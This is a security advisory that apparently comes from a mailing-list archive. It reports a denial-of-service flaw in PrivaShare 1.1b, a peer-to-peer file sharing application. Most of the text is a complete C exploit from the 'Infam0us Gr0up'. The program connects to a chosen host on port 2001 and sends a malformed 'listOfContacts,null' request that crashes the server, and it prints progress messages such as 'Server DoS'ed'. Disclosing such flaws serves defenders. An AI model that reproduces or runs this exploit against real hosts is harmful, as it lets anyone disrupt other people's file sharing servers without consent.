[EXPL] PrivaShare DoS (Exploit)

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  PrivaShare DoS (Exploit)
------------------------------------------------------------------------


SUMMARY

 <http://www.freevbcode.com/ShowCode.Asp?ID=2742> PrivaShare - "Is a 
peer-to-peer TCP/IP application that lets you share files from the 
directory of your choice, download files from other machines running the 
program to the directory of your choice, upload files to others, chat with 
whomever is connected to you, and search for files on other machines 
running the application."

It is possible to crash the PrivaShare server by sending a malformed 
request.

DETAILS

Vulnerable Systems:
 * PrivaShare version 1.1b

Exploit:
/*
 
    PrivaShare TCP/IP DoS Exploit
----------------------------------------

Resolve host... [OK]
 [+] Connecting... [OK]
 Target locked
Sending bad procedure... [OK]
 [+] Server DoS'ed

 Tested on Windows2000 SP4
 Greats: Infam0us Gr0up Team/member,and ll of u..take care!
 
 Info:
 - infamous.2hell.com
 - basher13@xxxxxxxxxxxxx

*/

#include <string.h>
#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")

char doscore[] =
/*

   Offset 0000ca10 to 0000ca2b

0000ca10 6c 00 69 00 73 00 74 00 4f 00 66 00 43 00
6f 00 6e 00 74 00 61 00 63 00 74 00 73 00

HEX:
6c 20 69 20 73 20 74 20 4f 20 66 20 43 20 6f 20 6e 20 74
20 61 20 63 20 74


*/
"listOfContacts,null"
"***          PrivaShare TCP/IP DoS Exploit        \n"
"***-----------------------------------------------\n"
"***   Infam0us Gr0up - Securiti Research Team     \n\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n";



int main(int argc, char *argv[])
{
  WSADATA wsaData;
  WORD wVersionRequested;
  struct hostent *pTarget;
  struct sockaddr_in sock;
  char *target;
  int port,bufsize;
  SOCKET inetdos;

  if (argc < 2)
  {
    printf("        PrivaShare TCP/IP DoS Exploit \n", argv[0]);
    printf("  ------------------------------------------\n", argv[0]);
    printf("      Infam0us Gr0up - Securiti Research\n\n", argv[0]);
    printf("[-]Usage: %s [target] [port]\n", argv[0]);
    printf("[?]Exam: %s localhost 2001\n", argv[0]);
    exit(1);
  }

  wVersionRequested = MAKEWORD(1, 1);
  if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;

  target = argv[1];
  port = 2001;

  if (argc >= 3) port = atoi(argv[2]);
  bufsize = 1024;
  if (argc >= 4) bufsize = atoi(argv[3]);

  inetdos = socket(AF_INET, SOCK_STREAM, 0);
  if(inetdos==INVALID_SOCKET)
  {
    printf("Socket ERROR \n");
    exit(1);
  }
  printf("        PrivaShare TCP/IP DoS Exploit \n", argv[0]);
  printf("  ------------------------------------------\r\n\n", argv[0]);
  printf("Resolve host... ");
  if ((pTarget = gethostbyname(target)) == NULL)
  {
    printf("FAILED \n", argv[0]);
    exit(1);
  }
  printf("[OK]\n ");
  memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
  sock.sin_family = AF_INET;
  sock.sin_port = htons((USHORT)port);

  printf("[+] Connecting... ");
  if ( (connect(inetdos, (struct sockaddr *)&sock, sizeof (sock) )))
  {
    printf("FAILED\n");
    exit(1);
  }
  printf("[OK]\n");
  printf("Target locked\n");
  printf("Sending bad procedure... ");
  if (send(inetdos, doscore, sizeof(doscore)-1, 0) == -1)
  {
    printf("ERROR\n");
    closesocket(inetdos);
    exit(1);
  }
  printf("[OK]\n ");
  printf("[+] Server DoS'ed\n");
  closesocket(inetdos);
  WSACleanup();
  return 0;
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:basher13@xxxxxxxxxxxxx> eric 
basher.



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